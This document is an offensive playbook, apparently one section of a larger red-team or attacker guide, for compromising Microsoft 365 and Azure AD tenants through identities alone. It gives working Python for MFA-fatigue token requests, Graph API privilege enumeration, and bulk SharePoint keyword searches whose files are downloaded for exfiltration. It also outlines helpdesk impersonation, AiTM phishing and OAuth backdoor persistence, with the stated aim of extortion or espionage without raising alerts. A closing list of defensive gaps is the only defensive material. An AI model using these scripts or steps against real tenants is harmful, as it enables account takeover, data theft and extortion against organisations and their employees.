Identity-first compromise

Accessing sensitive data without touching endpoints, using only identity control planes and SaaS APIs. Goal: reach target data while generating no endpoint alerts.

Scope and prerequisites

  • Target: organisation using Microsoft 365, Azure AD, and SaaS applications

  • Entry point: at least one employee identity (obtained via phishing, password reuse, or helpdesk social engineering)

  • Success criteria: exfiltrate data that would be material in an extortion or espionage scenario

Phase 1: recon

Enumerate the organisation’s external attack surface before attempting access.

# discover SSO provider from login pages
curl -s https://login.target.com | grep -i "saml\|oauth\|sso\|okta\|azure"

# enumerate employee emails from LinkedIn or OSINT sources
# (manual step: use tools like hunter.io or theHarvester)

# check for shadow IT: unapproved SaaS applications
# search job postings for technology stack hints
# check Shodan/Censys for exposed admin panels

# identify MFA type used
# check login portal for "approve this sign-in" (push MFA) vs "enter code" (TOTP)
# push MFA is vulnerable to fatigue attacks; TOTP requires phishing the code

Phase 2: initial access via social engineering

Option A: MFA fatigue

Send repeated push authentication requests to the target user until they approve one:

# automated credential stuffing with push MFA
# requires the user's password (from breach database or previous phishing)
import requests, time

url = 'https://login.microsoftonline.com/TENANT/oauth2/v2.0/token'
for i in range(20):
    r = requests.post(url, data={
        'client_id': CLIENT_ID,
        'grant_type': 'password',
        'username': TARGET_EMAIL,
        'password': TARGET_PASSWORD,
        'scope': 'https://graph.microsoft.com/.default'
    })
    if r.status_code == 200:
        print(f'[+] Approved on attempt {i+1}')
        print(r.json().get('access_token'))
        break
    time.sleep(60)  # space requests to avoid account lockout

Option B: adversary-in-the-middle phishing (Evilginx or similar)

Intercepts both credentials and session tokens in real time. Covered in the phishing section. Output: valid access token and refresh token.

Option C: helpdesk impersonation

Call the helpdesk as the target user. Request a password reset. Provide the minimum verification information (name, employee number, date of birth from OSINT). Outcome depends on the helpdesk’s verification strength.

Phase 3: privilege escalation in identity plane

With a standard user token, look for escalation paths:

import requests
headers = {'Authorization': f'Bearer {access_token}'}

# what roles and groups does the current identity belong to?
r = requests.get('https://graph.microsoft.com/v1.0/me/memberOf', headers=headers)
groups = [g['displayName'] for g in r.json().get('value', []) if 'displayName' in g]
print('Groups:', groups)

# check for delegated admin permissions
r = requests.get(
    'https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole',
    headers=headers)
for role in r.json().get('value', []):
    print('Role:', role['displayName'])

# look for service accounts or shared accounts accessible from this identity
# (check note-taking tools, Confluence, SharePoint for documented credentials)

If the compromised account has low privilege, escalate by:

  • Abusing consent grants to create a backdoor OAuth application with higher permissions

  • Finding delegated permissions that allow role assignment or group membership changes

  • Locating service account credentials in SharePoint or other accessible content

Phase 4: collection

With sufficient access, collect high-value data:

# search SharePoint for sensitive terms
for term in ['payroll', 'M&A', 'acquisition', 'redundancy', 'strategy', 'board']:
    r = requests.get(
        f"https://graph.microsoft.com/v1.0/me/drive/root/search(q='{term}')",
        headers=headers)
    items = r.json().get('value', [])
    for item in items:
        # download to attacker infrastructure via API
        dl = requests.get(
            f"https://graph.microsoft.com/v1.0/me/drive/items/{item['id']}/content",
            headers=headers)
        with open(f"/tmp/collect/{item['name']}", 'wb') as f:
            f.write(dl.content)
    import time; time.sleep(5)  # pace the requests

# harvest email for intelligence
r = requests.get(
    'https://graph.microsoft.com/v1.0/me/messages'
    '?$filter=hasAttachments eq true&$top=100',
    headers=headers)

Phase 5: exfiltration

Route collected data through the OAuth application or directly to attacker infrastructure. Do not store data on a compromised endpoint.

The exfiltration step uses techniques from the exfiltration section. For an identity-first operation, the preference is direct API-to-API transfer: the data never touches an endpoint the organisation controls.

Phase 6: persistence

Before ending the session, establish persistence that survives a password reset. Covered in the persistence section (identity-based persistence, OAuth application backdoor).

Defensive gaps this exposes

  • MFA type: push MFA provides weaker protection than TOTP or FIDO2

  • Helpdesk verification: insufficient identity proofing enables impersonation

  • Privilege separation: standard users with broad SharePoint access

  • DLP: absence of rate-based detection on API downloads

  • UEBA: no baseline for what normal access looks like, so no alert on unusual access patterns